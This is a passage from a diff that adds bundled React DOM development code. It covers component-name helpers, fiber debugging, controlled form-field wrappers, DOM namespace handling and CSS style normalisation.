+              case REACT_LAZY_TYPE: {
+                var lazyComponent = type;
+                var payload = lazyComponent._payload;
+                var init = lazyComponent._init;
+                try {
+                  return getComponentNameFromType(init(payload));
+                } catch (x) {
+                  return null;
+                }
+              }
+            }
+          }
+          return null;
+        }
+        function getWrappedName$1(outerType, innerType, wrapperName) {
+          var functionName = innerType.displayName || innerType.name || "";
+          return outerType.displayName || (functionName !== "" ? wrapperName + "(" + functionName + ")" : wrapperName);
+        }
+        function getContextName$1(type) {
+          return type.displayName || "Context";
+        }
+        function getComponentNameFromFiber(fiber) {
+          var tag = fiber.tag, type = fiber.type;
+          switch (tag) {
+            case CacheComponent:
+              return "Cache";
+            case ContextConsumer:
+              var context = type;
+              return getContextName$1(context) + ".Consumer";
+            case ContextProvider:
+              var provider = type;
+              return getContextName$1(provider._context) + ".Provider";
+            case DehydratedFragment:
+              return "DehydratedFragment";
+            case ForwardRef:
+              return getWrappedName$1(type, type.render, "ForwardRef");
+            case Fragment:
+              return "Fragment";
+            case HostComponent:
+              return type;
+            case HostPortal:
+              return "Portal";
+            case HostRoot:
+              return "Root";
+            case HostText:
+              return "Text";
+            case LazyComponent:
+              return getComponentNameFromType(type);
+            case Mode:
+              if (type === REACT_STRICT_MODE_TYPE) {
+                return "StrictMode";
+              }
+              return "Mode";
+            case OffscreenComponent:
+              return "Offscreen";
+            case Profiler:
+              return "Profiler";
+            case ScopeComponent:
+              return "Scope";
+            case SuspenseComponent:
+              return "Suspense";
+            case SuspenseListComponent:
+              return "SuspenseList";
+            case TracingMarkerComponent:
+              return "TracingMarker";
+            case ClassComponent:
+            case FunctionComponent:
+            case IncompleteClassComponent:
+            case IndeterminateComponent:
+            case MemoComponent:
+            case SimpleMemoComponent:
+              if (typeof type === "function") {
+                return type.displayName || type.name || null;
+              }
+              if (typeof type === "string") {
+                return type;
+              }
+              break;
+          }
+          return null;
+        }
+        var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
+        var current = null;
+        var isRendering = false;
+        function getCurrentFiberOwnerNameInDevOrNull() {
+          {
+            if (current === null) {
+              return null;
+            }
+            var owner = current._debugOwner;
+            if (owner !== null && typeof owner !== "undefined") {
+              return getComponentNameFromFiber(owner);
+            }
+          }
+          return null;
+        }
+        function getCurrentFiberStackInDev() {
+          {
+            if (current === null) {
+              return "";
+            }
+            return getStackByFiberInDevAndProd(current);
+          }
+        }
+        function resetCurrentFiber() {
+          {
+            ReactDebugCurrentFrame.getCurrentStack = null;
+            current = null;
+            isRendering = false;
+          }
+        }
+        function setCurrentFiber(fiber) {
+          {
+            ReactDebugCurrentFrame.getCurrentStack = fiber === null ? null : getCurrentFiberStackInDev;
+            current = fiber;
+            isRendering = false;
+          }
+        }
+        function getCurrentFiber() {
+          {
+            return current;
+          }
+        }
+        function setIsRendering(rendering) {
+          {
+            isRendering = rendering;
+          }
+        }
+        function toString(value) {
+          return "" + value;
+        }
+        function getToStringValue(value) {
+          switch (typeof value) {
+            case "boolean":
+            case "number":
+            case "string":
+            case "undefined":
+              return value;
+            case "object":
+              {
+                checkFormFieldValueStringCoercion(value);
+              }
+              return value;
+            default:
+              return "";
+          }
+        }
+        var hasReadOnlyValue = {
+          button: true,
+          checkbox: true,
+          image: true,
+          hidden: true,
+          radio: true,
+          reset: true,
+          submit: true
+        };
+        function checkControlledValueProps(tagName, props) {
+          {
+            if (!(hasReadOnlyValue[props.type] || props.onChange || props.onInput || props.readOnly || props.disabled || props.value == null)) {
+              error("You provided a `value` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultValue`. Otherwise, set either `onChange` or `readOnly`.");
+            }
+            if (!(props.onChange || props.readOnly || props.disabled || props.checked == null)) {
+              error("You provided a `checked` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultChecked`. Otherwise, set either `onChange` or `readOnly`.");
+            }
+          }
+        }
+        function isCheckable(elem) {
+          var type = elem.type;
+          var nodeName = elem.nodeName;
+          return nodeName && nodeName.toLowerCase() === "input" && (type === "checkbox" || type === "radio");
+        }
+        function getTracker(node) {
+          return node._valueTracker;
+        }
+        function detachTracker(node) {
+          node._valueTracker = null;
+        }
+        function getValueFromNode(node) {
+          var value = "";
+          if (!node) {
+            return value;
+          }
+          if (isCheckable(node)) {
+            value = node.checked ? "true" : "false";
+          } else {
+            value = node.value;
+          }
+          return value;
+        }
+        function trackValueOnNode(node) {
+          var valueField = isCheckable(node) ? "checked" : "value";
+          var descriptor = Object.getOwnPropertyDescriptor(node.constructor.prototype, valueField);
+          {
+            checkFormFieldValueStringCoercion(node[valueField]);
+          }
+          var currentValue = "" + node[valueField];
+          if (node.hasOwnProperty(valueField) || typeof descriptor === "undefined" || typeof descriptor.get !== "function" || typeof descriptor.set !== "function") {
+            return;
+          }
+          var get2 = descriptor.get, set2 = descriptor.set;
+          Object.defineProperty(node, valueField, {
+            configurable: true,
+            get: function() {
+              return get2.call(this);
+            },
+            set: function(value) {
+              {
+                checkFormFieldValueStringCoercion(value);
+              }
+              currentValue = "" + value;
+              set2.call(this, value);
+            }
+          });
+          Object.defineProperty(node, valueField, {
+            enumerable: descriptor.enumerable
+          });
+          var tracker = {
+            getValue: function() {
+              return currentValue;
+            },
+            setValue: function(value) {
+              {
+                checkFormFieldValueStringCoercion(value);
+              }
+              currentValue = "" + value;
+            },
+            stopTracking: function() {
+              detachTracker(node);
+              delete node[valueField];
+            }
+          };
+          return tracker;
+        }
+        function track(node) {
+          if (getTracker(node)) {
+            return;
+          }
+          node._valueTracker = trackValueOnNode(node);
+        }
+        function updateValueIfChanged(node) {
+          if (!node) {
+            return false;
+          }
+          var tracker = getTracker(node);
+          if (!tracker) {
+            return true;
+          }
+          var lastValue = tracker.getValue();
+          var nextValue = getValueFromNode(node);
+          if (nextValue !== lastValue) {
+            tracker.setValue(nextValue);
+            return true;
+          }
+          return false;
+        }
+        function getActiveElement(doc) {
+          doc = doc || (typeof document !== "undefined" ? document : void 0);
+          if (typeof doc === "undefined") {
+            return null;
+          }
+          try {
+            return doc.activeElement || doc.body;
+          } catch (e2) {
+            return doc.body;
+          }
+        }
+        var didWarnValueDefaultValue = false;
+        var didWarnCheckedDefaultChecked = false;
+        var didWarnControlledToUncontrolled = false;
+        var didWarnUncontrolledToControlled = false;
+        function isControlled(props) {
+          var usesChecked = props.type === "checkbox" || props.type === "radio";
+          return usesChecked ? props.checked != null : props.value != null;
+        }
+        function getHostProps(element, props) {
+          var node = element;
+          var checked = props.checked;
+          var hostProps = assign({}, props, {
+            defaultChecked: void 0,
+            defaultValue: void 0,
+            value: void 0,
+            checked: checked != null ? checked : node._wrapperState.initialChecked
+          });
+          return hostProps;
+        }
+        function initWrapperState(element, props) {
+          {
+            checkControlledValueProps("input", props);
+            if (props.checked !== void 0 && props.defaultChecked !== void 0 && !didWarnCheckedDefaultChecked) {
+              error("%s contains an input of type %s with both checked and defaultChecked props. Input elements must be either controlled or uncontrolled (specify either the checked prop, or the defaultChecked prop, but not both). Decide between using a controlled or uncontrolled input element and remove one of these props. More info: https://reactjs.org/link/controlled-components", getCurrentFiberOwnerNameInDevOrNull() || "A component", props.type);
+              didWarnCheckedDefaultChecked = true;
+            }
+            if (props.value !== void 0 && props.defaultValue !== void 0 && !didWarnValueDefaultValue) {
+              error("%s contains an input of type %s with both value and defaultValue props. Input elements must be either controlled or uncontrolled (specify either the value prop, or the defaultValue prop, but not both). Decide between using a controlled or uncontrolled input element and remove one of these props. More info: https://reactjs.org/link/controlled-components", getCurrentFiberOwnerNameInDevOrNull() || "A component", props.type);
+              didWarnValueDefaultValue = true;
+            }
+          }
+          var node = element;
+          var defaultValue = props.defaultValue == null ? "" : props.defaultValue;
+          node._wrapperState = {
+            initialChecked: props.checked != null ? props.checked : props.defaultChecked,
+            initialValue: getToStringValue(props.value != null ? props.value : defaultValue),
+            controlled: isControlled(props)
+          };
+        }
+        function updateChecked(element, props) {
+          var node = element;
+          var checked = props.checked;
+          if (checked != null) {
+            setValueForProperty(node, "checked", checked, false);
+          }
+        }
+        function updateWrapper(element, props) {
+          var node = element;
+          {
+            var controlled = isControlled(props);
+            if (!node._wrapperState.controlled && controlled && !didWarnUncontrolledToControlled) {
+              error("A component is changing an uncontrolled input to be controlled. This is likely caused by the value changing from undefined to a defined value, which should not happen. Decide between using a controlled or uncontrolled input element for the lifetime of the component. More info: https://reactjs.org/link/controlled-components");
+              didWarnUncontrolledToControlled = true;
+            }
+            if (node._wrapperState.controlled && !controlled && !didWarnControlledToUncontrolled) {
+              error("A component is changing a controlled input to be uncontrolled. This is likely caused by the value changing from a defined to undefined, which should not happen. Decide between using a controlled or uncontrolled input element for the lifetime of the component. More info: https://reactjs.org/link/controlled-components");
+              didWarnControlledToUncontrolled = true;
+            }
+          }
+          updateChecked(element, props);
+          var value = getToStringValue(props.value);
+          var type = props.type;
+          if (value != null) {
+            if (type === "number") {
+              if (value === 0 && node.value === "" || node.value != value) {
+                node.value = toString(value);
+              }
+            } else if (node.value !== toString(value)) {
+              node.value = toString(value);
+            }
+          } else if (type === "submit" || type === "reset") {
+            node.removeAttribute("value");
+            return;
+          }
+          {
+            if (props.hasOwnProperty("value")) {
+              setDefaultValue(node, props.type, value);
+            } else if (props.hasOwnProperty("defaultValue")) {
+              setDefaultValue(node, props.type, getToStringValue(props.defaultValue));
+            }
+          }
+          {
+            if (props.checked == null && props.defaultChecked != null) {
+              node.defaultChecked = !!props.defaultChecked;
+            }
+          }
+        }
+        function postMountWrapper(element, props, isHydrating2) {
+          var node = element;
+          if (props.hasOwnProperty("value") || props.hasOwnProperty("defaultValue")) {
+            var type = props.type;
+            var isButton = type === "submit" || type === "reset";
+            if (isButton && (props.value === void 0 || props.value === null)) {
+              return;
+            }
+            var initialValue = toString(node._wrapperState.initialValue);
+            if (!isHydrating2) {
+              {
+                if (initialValue !== node.value) {
+                  node.value = initialValue;
+                }
+              }
+            }
+            {
+              node.defaultValue = initialValue;
+            }
+          }
+          var name = node.name;
+          if (name !== "") {
+            node.name = "";
+          }
+          {
+            node.defaultChecked = !node.defaultChecked;
+            node.defaultChecked = !!node._wrapperState.initialChecked;
+          }
+          if (name !== "") {
+            node.name = name;
+          }
+        }
+        function restoreControlledState(element, props) {
+          var node = element;
+          updateWrapper(node, props);
+          updateNamedCousins(node, props);
+        }
+        function updateNamedCousins(rootNode, props) {
+          var name = props.name;
+          if (props.type === "radio" && name != null) {
+            var queryRoot = rootNode;
+            while (queryRoot.parentNode) {
+              queryRoot = queryRoot.parentNode;
+            }
+            {
+              checkAttributeStringCoercion(name, "name");
+            }
+            var group = queryRoot.querySelectorAll("input[name=" + JSON.stringify("" + name) + '][type="radio"]');
+            for (var i2 = 0; i2 < group.length; i2++) {
+              var otherNode = group[i2];
+              if (otherNode === rootNode || otherNode.form !== rootNode.form) {
+                continue;
+              }
+              var otherProps = getFiberCurrentPropsFromNode(otherNode);
+              if (!otherProps) {
+                throw new Error("ReactDOMInput: Mixing React and non-React radio inputs with the same `name` is not supported.");
+              }
+              updateValueIfChanged(otherNode);
+              updateWrapper(otherNode, otherProps);
+            }
+          }
+        }
+        function setDefaultValue(node, type, value) {
+          if (type !== "number" || getActiveElement(node.ownerDocument) !== node) {
+            if (value == null) {
+              node.defaultValue = toString(node._wrapperState.initialValue);
+            } else if (node.defaultValue !== toString(value)) {
+              node.defaultValue = toString(value);
+            }
+          }
+        }
+        var didWarnSelectedSetOnOption = false;
+        var didWarnInvalidChild = false;
+        var didWarnInvalidInnerHTML = false;
+        function validateProps(element, props) {
+          {
+            if (props.value == null) {
+              if (typeof props.children === "object" && props.children !== null) {
+                React9.Children.forEach(props.children, function(child) {
+                  if (child == null) {
+                    return;
+                  }
+                  if (typeof child === "string" || typeof child === "number") {
+                    return;
+                  }
+                  if (!didWarnInvalidChild) {
+                    didWarnInvalidChild = true;
+                    error("Cannot infer the option value of complex children. Pass a `value` prop or use a plain string as children to <option>.");
+                  }
+                });
+              } else if (props.dangerouslySetInnerHTML != null) {
+                if (!didWarnInvalidInnerHTML) {
+                  didWarnInvalidInnerHTML = true;
+                  error("Pass a `value` prop if you set dangerouslyInnerHTML so React knows which value should be selected.");
+                }
+              }
+            }
+            if (props.selected != null && !didWarnSelectedSetOnOption) {
+              error("Use the `defaultValue` or `value` props on <select> instead of setting `selected` on <option>.");
+              didWarnSelectedSetOnOption = true;
+            }
+          }
+        }
+        function postMountWrapper$1(element, props) {
+          if (props.value != null) {
+            element.setAttribute("value", toString(getToStringValue(props.value)));
+          }
+        }
+        var isArrayImpl = Array.isArray;
+        function isArray(a2) {
+          return isArrayImpl(a2);
+        }
+        var didWarnValueDefaultValue$1;
+        {
+          didWarnValueDefaultValue$1 = false;
+        }
+        function getDeclarationErrorAddendum() {
+          var ownerName = getCurrentFiberOwnerNameInDevOrNull();
+          if (ownerName) {
+            return "\n\nCheck the render method of `" + ownerName + "`.";
+          }
+          return "";
+        }
+        var valuePropNames = ["value", "defaultValue"];
+        function checkSelectPropTypes(props) {
+          {
+            checkControlledValueProps("select", props);
+            for (var i2 = 0; i2 < valuePropNames.length; i2++) {
+              var propName = valuePropNames[i2];
+              if (props[propName] == null) {
+                continue;
+              }
+              var propNameIsArray = isArray(props[propName]);
+              if (props.multiple && !propNameIsArray) {
+                error("The `%s` prop supplied to <select> must be an array if `multiple` is true.%s", propName, getDeclarationErrorAddendum());
+              } else if (!props.multiple && propNameIsArray) {
+                error("The `%s` prop supplied to <select> must be a scalar value if `multiple` is false.%s", propName, getDeclarationErrorAddendum());
+              }
+            }
+          }
+        }
+        function updateOptions(node, multiple, propValue, setDefaultSelected) {
+          var options2 = node.options;
+          if (multiple) {
+            var selectedValues = propValue;
+            var selectedValue = {};
+            for (var i2 = 0; i2 < selectedValues.length; i2++) {
+              selectedValue["$" + selectedValues[i2]] = true;
+            }
+            for (var _i = 0; _i < options2.length; _i++) {
+              var selected = selectedValue.hasOwnProperty("$" + options2[_i].value);
+              if (options2[_i].selected !== selected) {
+                options2[_i].selected = selected;
+              }
+              if (selected && setDefaultSelected) {
+                options2[_i].defaultSelected = true;
+              }
+            }
+          } else {
+            var _selectedValue = toString(getToStringValue(propValue));
+            var defaultSelected = null;
+            for (var _i2 = 0; _i2 < options2.length; _i2++) {
+              if (options2[_i2].value === _selectedValue) {
+                options2[_i2].selected = true;
+                if (setDefaultSelected) {
+                  options2[_i2].defaultSelected = true;
+                }
+                return;
+              }
+              if (defaultSelected === null && !options2[_i2].disabled) {
+                defaultSelected = options2[_i2];
+              }
+            }
+            if (defaultSelected !== null) {
+              defaultSelected.selected = true;
+            }
+          }
+        }
+        function getHostProps$1(element, props) {
+          return assign({}, props, {
+            value: void 0
+          });
+        }
+        function initWrapperState$1(element, props) {
+          var node = element;
+          {
+            checkSelectPropTypes(props);
+          }
+          node._wrapperState = {
+            wasMultiple: !!props.multiple
+          };
+          {
+            if (props.value !== void 0 && props.defaultValue !== void 0 && !didWarnValueDefaultValue$1) {
+              error("Select elements must be either controlled or uncontrolled (specify either the value prop, or the defaultValue prop, but not both). Decide between using a controlled or uncontrolled select element and remove one of these props. More info: https://reactjs.org/link/controlled-components");
+              didWarnValueDefaultValue$1 = true;
+            }
+          }
+        }
+        function postMountWrapper$2(element, props) {
+          var node = element;
+          node.multiple = !!props.multiple;
+          var value = props.value;
+          if (value != null) {
+            updateOptions(node, !!props.multiple, value, false);
+          } else if (props.defaultValue != null) {
+            updateOptions(node, !!props.multiple, props.defaultValue, true);
+          }
+        }
+        function postUpdateWrapper(element, props) {
+          var node = element;
+          var wasMultiple = node._wrapperState.wasMultiple;
+          node._wrapperState.wasMultiple = !!props.multiple;
+          var value = props.value;
+          if (value != null) {
+            updateOptions(node, !!props.multiple, value, false);
+          } else if (wasMultiple !== !!props.multiple) {
+            if (props.defaultValue != null) {
+              updateOptions(node, !!props.multiple, props.defaultValue, true);
+            } else {
+              updateOptions(node, !!props.multiple, props.multiple ? [] : "", false);
+            }
+          }
+        }
+        function restoreControlledState$1(element, props) {
+          var node = element;
+          var value = props.value;
+          if (value != null) {
+            updateOptions(node, !!props.multiple, value, false);
+          }
+        }
+        var didWarnValDefaultVal = false;
+        function getHostProps$2(element, props) {
+          var node = element;
+          if (props.dangerouslySetInnerHTML != null) {
+            throw new Error("`dangerouslySetInnerHTML` does not make sense on <textarea>.");
+          }
+          var hostProps = assign({}, props, {
+            value: void 0,
+            defaultValue: void 0,
+            children: toString(node._wrapperState.initialValue)
+          });
+          return hostProps;
+        }
+        function initWrapperState$2(element, props) {
+          var node = element;
+          {
+            checkControlledValueProps("textarea", props);
+            if (props.value !== void 0 && props.defaultValue !== void 0 && !didWarnValDefaultVal) {
+              error("%s contains a textarea with both value and defaultValue props. Textarea elements must be either controlled or uncontrolled (specify either the value prop, or the defaultValue prop, but not both). Decide between using a controlled or uncontrolled textarea and remove one of these props. More info: https://reactjs.org/link/controlled-components", getCurrentFiberOwnerNameInDevOrNull() || "A component");
+              didWarnValDefaultVal = true;
+            }
+          }
+          var initialValue = props.value;
+          if (initialValue == null) {
+            var children = props.children, defaultValue = props.defaultValue;
+            if (children != null) {
+              {
+                error("Use the `defaultValue` or `value` props instead of setting children on <textarea>.");
+              }
+              {
+                if (defaultValue != null) {
+                  throw new Error("If you supply `defaultValue` on a <textarea>, do not pass children.");
+                }
+                if (isArray(children)) {
+                  if (children.length > 1) {
+                    throw new Error("<textarea> can only have at most one child.");
+                  }
+                  children = children[0];
+                }
+                defaultValue = children;
+              }
+            }
+            if (defaultValue == null) {
+              defaultValue = "";
+            }
+            initialValue = defaultValue;
+          }
+          node._wrapperState = {
+            initialValue: getToStringValue(initialValue)
+          };
+        }
+        function updateWrapper$1(element, props) {
+          var node = element;
+          var value = getToStringValue(props.value);
+          var defaultValue = getToStringValue(props.defaultValue);
+          if (value != null) {
+            var newValue = toString(value);
+            if (newValue !== node.value) {
+              node.value = newValue;
+            }
+            if (props.defaultValue == null && node.defaultValue !== newValue) {
+              node.defaultValue = newValue;
+            }
+          }
+          if (defaultValue != null) {
+            node.defaultValue = toString(defaultValue);
+          }
+        }
+        function postMountWrapper$3(element, props) {
+          var node = element;
+          var textContent = node.textContent;
+          if (textContent === node._wrapperState.initialValue) {
+            if (textContent !== "" && textContent !== null) {
+              node.value = textContent;
+            }
+          }
+        }
+        function restoreControlledState$2(element, props) {
+          updateWrapper$1(element, props);
+        }
+        var HTML_NAMESPACE = "http://www.w3.org/1999/xhtml";
+        var MATH_NAMESPACE = "http://www.w3.org/1998/Math/MathML";
+        var SVG_NAMESPACE = "http://www.w3.org/2000/svg";
+        function getIntrinsicNamespace(type) {
+          switch (type) {
+            case "svg":
+              return SVG_NAMESPACE;
+            case "math":
+              return MATH_NAMESPACE;
+            default:
+              return HTML_NAMESPACE;
+          }
+        }
+        function getChildNamespace(parentNamespace, type) {
+          if (parentNamespace == null || parentNamespace === HTML_NAMESPACE) {
+            return getIntrinsicNamespace(type);
+          }
+          if (parentNamespace === SVG_NAMESPACE && type === "foreignObject") {
+            return HTML_NAMESPACE;
+          }
+          return parentNamespace;
+        }
+        var createMicrosoftUnsafeLocalFunction = function(func) {
+          if (typeof MSApp !== "undefined" && MSApp.execUnsafeLocalFunction) {
+            return function(arg0, arg1, arg2, arg3) {
+              MSApp.execUnsafeLocalFunction(function() {
+                return func(arg0, arg1, arg2, arg3);
+              });
+            };
+          } else {
+            return func;
+          }
+        };
+        var reusableSVGContainer;
+        var setInnerHTML = createMicrosoftUnsafeLocalFunction(function(node, html) {
+          if (node.namespaceURI === SVG_NAMESPACE) {
+            if (!("innerHTML" in node)) {
+              reusableSVGContainer = reusableSVGContainer || document.createElement("div");
+              reusableSVGContainer.innerHTML = "<svg>" + html.valueOf().toString() + "</svg>";
+              var svgNode = reusableSVGContainer.firstChild;
+              while (node.firstChild) {
+                node.removeChild(node.firstChild);
+              }
+              while (svgNode.firstChild) {
+                node.appendChild(svgNode.firstChild);
+              }
+              return;
+            }
+          }
+          node.innerHTML = html;
+        });
+        var ELEMENT_NODE = 1;
+        var TEXT_NODE = 3;
+        var COMMENT_NODE = 8;
+        var DOCUMENT_NODE = 9;
+        var DOCUMENT_FRAGMENT_NODE = 11;
+        var setTextContent = function(node, text) {
+          if (text) {
+            var firstChild = node.firstChild;
+            if (firstChild && firstChild === node.lastChild && firstChild.nodeType === TEXT_NODE) {
+              firstChild.nodeValue = text;
+              return;
+            }
+          }
+          node.textContent = text;
+        };
+        var shorthandToLonghand = {
+          animation: ["animationDelay", "animationDirection", "animationDuration", "animationFillMode", "animationIterationCount", "animationName", "animationPlayState", "animationTimingFunction"],
+          background: ["backgroundAttachment", "backgroundClip", "backgroundColor", "backgroundImage", "backgroundOrigin", "backgroundPositionX", "backgroundPositionY", "backgroundRepeat", "backgroundSize"],
+          backgroundPosition: ["backgroundPositionX", "backgroundPositionY"],
+          border: ["borderBottomColor", "borderBottomStyle", "borderBottomWidth", "borderImageOutset", "borderImageRepeat", "borderImageSlice", "borderImageSource", "borderImageWidth", "borderLeftColor", "borderLeftStyle", "borderLeftWidth", "borderRightColor", "borderRightStyle", "borderRightWidth", "borderTopColor", "borderTopStyle", "borderTopWidth"],
+          borderBlockEnd: ["borderBlockEndColor", "borderBlockEndStyle", "borderBlockEndWidth"],
+          borderBlockStart: ["borderBlockStartColor", "borderBlockStartStyle", "borderBlockStartWidth"],
+          borderBottom: ["borderBottomColor", "borderBottomStyle", "borderBottomWidth"],
+          borderColor: ["borderBottomColor", "borderLeftColor", "borderRightColor", "borderTopColor"],
+          borderImage: ["borderImageOutset", "borderImageRepeat", "borderImageSlice", "borderImageSource", "borderImageWidth"],
+          borderInlineEnd: ["borderInlineEndColor", "borderInlineEndStyle", "borderInlineEndWidth"],
+          borderInlineStart: ["borderInlineStartColor", "borderInlineStartStyle", "borderInlineStartWidth"],
+          borderLeft: ["borderLeftColor", "borderLeftStyle", "borderLeftWidth"],
+          borderRadius: ["borderBottomLeftRadius", "borderBottomRightRadius", "borderTopLeftRadius", "borderTopRightRadius"],
+          borderRight: ["borderRightColor", "borderRightStyle", "borderRightWidth"],
+          borderStyle: ["borderBottomStyle", "borderLeftStyle", "borderRightStyle", "borderTopStyle"],
+          borderTop: ["borderTopColor", "borderTopStyle", "borderTopWidth"],
+          borderWidth: ["borderBottomWidth", "borderLeftWidth", "borderRightWidth", "borderTopWidth"],
+          columnRule: ["columnRuleColor", "columnRuleStyle", "columnRuleWidth"],
+          columns: ["columnCount", "columnWidth"],
+          flex: ["flexBasis", "flexGrow", "flexShrink"],
+          flexFlow: ["flexDirection", "flexWrap"],
+          font: ["fontFamily", "fontFeatureSettings", "fontKerning", "fontLanguageOverride", "fontSize", "fontSizeAdjust", "fontStretch", "fontStyle", "fontVariant", "fontVariantAlternates", "fontVariantCaps", "fontVariantEastAsian", "fontVariantLigatures", "fontVariantNumeric", "fontVariantPosition", "fontWeight", "lineHeight"],
+          fontVariant: ["fontVariantAlternates", "fontVariantCaps", "fontVariantEastAsian", "fontVariantLigatures", "fontVariantNumeric", "fontVariantPosition"],
+          gap: ["columnGap", "rowGap"],
+          grid: ["gridAutoColumns", "gridAutoFlow", "gridAutoRows", "gridTemplateAreas", "gridTemplateColumns", "gridTemplateRows"],
+          gridArea: ["gridColumnEnd", "gridColumnStart", "gridRowEnd", "gridRowStart"],
+          gridColumn: ["gridColumnEnd", "gridColumnStart"],
+          gridColumnGap: ["columnGap"],
+          gridGap: ["columnGap", "rowGap"],
+          gridRow: ["gridRowEnd", "gridRowStart"],
+          gridRowGap: ["rowGap"],
+          gridTemplate: ["gridTemplateAreas", "gridTemplateColumns", "gridTemplateRows"],
+          listStyle: ["listStyleImage", "listStylePosition", "listStyleType"],
+          margin: ["marginBottom", "marginLeft", "marginRight", "marginTop"],
+          marker: ["markerEnd", "markerMid", "markerStart"],
+          mask: ["maskClip", "maskComposite", "maskImage", "maskMode", "maskOrigin", "maskPositionX", "maskPositionY", "maskRepeat", "maskSize"],
+          maskPosition: ["maskPositionX", "maskPositionY"],
+          outline: ["outlineColor", "outlineStyle", "outlineWidth"],
+          overflow: ["overflowX", "overflowY"],
+          padding: ["paddingBottom", "paddingLeft", "paddingRight", "paddingTop"],
+          placeContent: ["alignContent", "justifyContent"],
+          placeItems: ["alignItems", "justifyItems"],
+          placeSelf: ["alignSelf", "justifySelf"],
+          textDecoration: ["textDecorationColor", "textDecorationLine", "textDecorationStyle"],
+          textEmphasis: ["textEmphasisColor", "textEmphasisStyle"],
+          transition: ["transitionDelay", "transitionDuration", "transitionProperty", "transitionTimingFunction"],
+          wordWrap: ["overflowWrap"]
+        };
+        var isUnitlessNumber = {
+          animationIterationCount: true,
+          aspectRatio: true,
+          borderImageOutset: true,
+          borderImageSlice: true,
+          borderImageWidth: true,
+          boxFlex: true,
+          boxFlexGroup: true,
+          boxOrdinalGroup: true,
+          columnCount: true,
+          columns: true,
+          flex: true,
+          flexGrow: true,
+          flexPositive: true,
+          flexShrink: true,
+          flexNegative: true,
+          flexOrder: true,
+          gridArea: true,
+          gridRow: true,
+          gridRowEnd: true,
+          gridRowSpan: true,
+          gridRowStart: true,
+          gridColumn: true,
+          gridColumnEnd: true,
+          gridColumnSpan: true,
+          gridColumnStart: true,
+          fontWeight: true,
+          lineClamp: true,
+          lineHeight: true,
+          opacity: true,
+          order: true,
+          orphans: true,
+          tabSize: true,
+          widows: true,
+          zIndex: true,
+          zoom: true,
+          fillOpacity: true,
+          floodOpacity: true,
+          stopOpacity: true,
+          strokeDasharray: true,
+          strokeDashoffset: true,
+          strokeMiterlimit: true,
+          strokeOpacity: true,
+          strokeWidth: true
+        };
+        function prefixKey(prefix2, key) {
+          return prefix2 + key.charAt(0).toUpperCase() + key.substring(1);
+        }
+        var prefixes = ["Webkit", "ms", "Moz", "O"];
+        Object.keys(isUnitlessNumber).forEach(function(prop) {
+          prefixes.forEach(function(prefix2) {
+            isUnitlessNumber[prefixKey(prefix2, prop)] = isUnitlessNumber[prop];
+          });
+        });
+        function dangerousStyleValue(name, value, isCustomProperty) {
+          var isEmpty = value == null || typeof value === "boolean" || value === "";
+          if (isEmpty) {
+            return "";
+          }
+          if (!isCustomProperty && typeof value === "number" && value !== 0 && !(isUnitlessNumber.hasOwnProperty(name) && isUnitlessNumber[name])) {
+            return value + "px";
+          }
+          {
+            checkCSSPropertyStringCoercion(value, name);
+          }
+          return ("" + value).trim();
+        }
+        var uppercasePattern = /([A-Z])/g;
+        var msPattern = /^ms-/;
+        function hyphenateStyleName(name) {
+          return name.replace(uppercasePattern, "-$1").toLowerCase().replace(msPattern, "-ms-");
+        }
+        var warnValidStyle = function() {
+        };
+        {
+          var badVendoredStyleNamePattern = /^(?:webkit|moz|o)[A-Z]/;
+          var msPattern$1 = /^-ms-/;
+          var hyphenPattern = /-(.)/g;
+          var badStyleValueWithSemicolonPattern = /;\s*$/;
+          var warnedStyleNames = {};
+          var warnedStyleValues = {};
+          var warnedForNaNValue = false;
+          var warnedForInfinityValue = false;
+          var camelize = function(string) {
+            return string.replace(hyphenPattern, function(_, character) {
+              return character.toUpperCase();
+            });
+          };
+          var warnHyphenatedStyleName = function(name) {
+            if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {
+              return;
+            }
+            warnedStyleNames[name] = true;
+            error("Unsupported style property %s. Did you mean %s?", name, camelize(name.replace(msPattern$1, "ms-")));
+          };
+          var warnBadVendoredStyleName = function(name) {
+            if (warnedStyleNames.hasOwnProperty(name) && warnedStyleNames[name]) {
+              return;
+            }
+            warnedStyleNames[name] = true;
+            error("Unsupported vendor-prefixed style property %s. Did you mean %s?", name, name.charAt(0).toUpperCase() + name.slice(1));
+          };
+          var warnStyleValueWithSemicolon = function(name, value) {
+            if (warnedStyleValues.hasOwnProperty(value) && warnedStyleValues[value]) {
+              return;
+            }
+            warnedStyleValues[value] = true;
+            error(`Style property values shouldn't contain a semicolon. Try "%s: %s" instead.`, name, value.replace(badStyleValueWithSemicolonPattern, ""));
+          };
+          var warnStyleValueIsNaN = function(name, value) {
+            if (warnedForNaNValue) {
+              return;
+            }
+            warnedForNaNValue = true;
+            error("`NaN` is an invalid value for the `%s` css style property.", name);
+          };
+          var warnStyleValueIsInfinity = function(name, value) {
+            if (warnedForInfinityValue) {
+              return;
+            }
+            warnedForInfinityValue = true;
+            error("`Infinity` is an invalid value for the `%s` css style property.", name);
+          };
+          warnValidStyle = function(name, value) {
+            if (name.indexOf("-") > -1) {
+              warnHyphenatedStyleName(name);
+            } else if (badVendoredStyleNamePattern.test(name)) {
+              warnBadVendoredStyleName(name);
+            } else if (badStyleValueWithSemicolonPattern.test(value)) {
+              warnStyleValueWithSemicolon(name, value);
+            }
+            if (typeof value === "number") {
+              if (isNaN(value)) {
+                warnStyleValueIsNaN(name, value);
+              } else if (!isFinite(value)) {
+                warnStyleValueIsInfinity(name, value);
+              }
+            }
+          };
+        }
+        var warnValidStyle$1 = warnValidStyle;
+        function createDangerousStringForStyles(styles) {
+          {
+            var serialized = "";
+            var delimiter = "";
+            for (var styleName in styles) {
+              if (!styles.hasOwnProperty(styleName)) {
+                continue;
+              }
+              var styleValue = styles[styleName];
+              if (styleValue != null) {
+                var isCustomProperty = styleName.indexOf("--") === 0;
+                serialized += delimiter + (isCustomProperty ? styleName : hyphenateStyleName(styleName)) + ":";
+                serialized += dangerousStyleValue(styleName, styleValue, isCustomProperty);
+                delimiter = ";";
+              }
+            }
+            return serialized || null;
+          }
+        }
+        function setValueForStyles(node, styles) {
+          var style2 = node.style;
+          for (var styleName in styles) {
+            if (!styles.hasOwnProperty(styleName)) {
+              continue;
+            }
+            var isCustomProperty = styleName.indexOf("--") === 0;
+            {
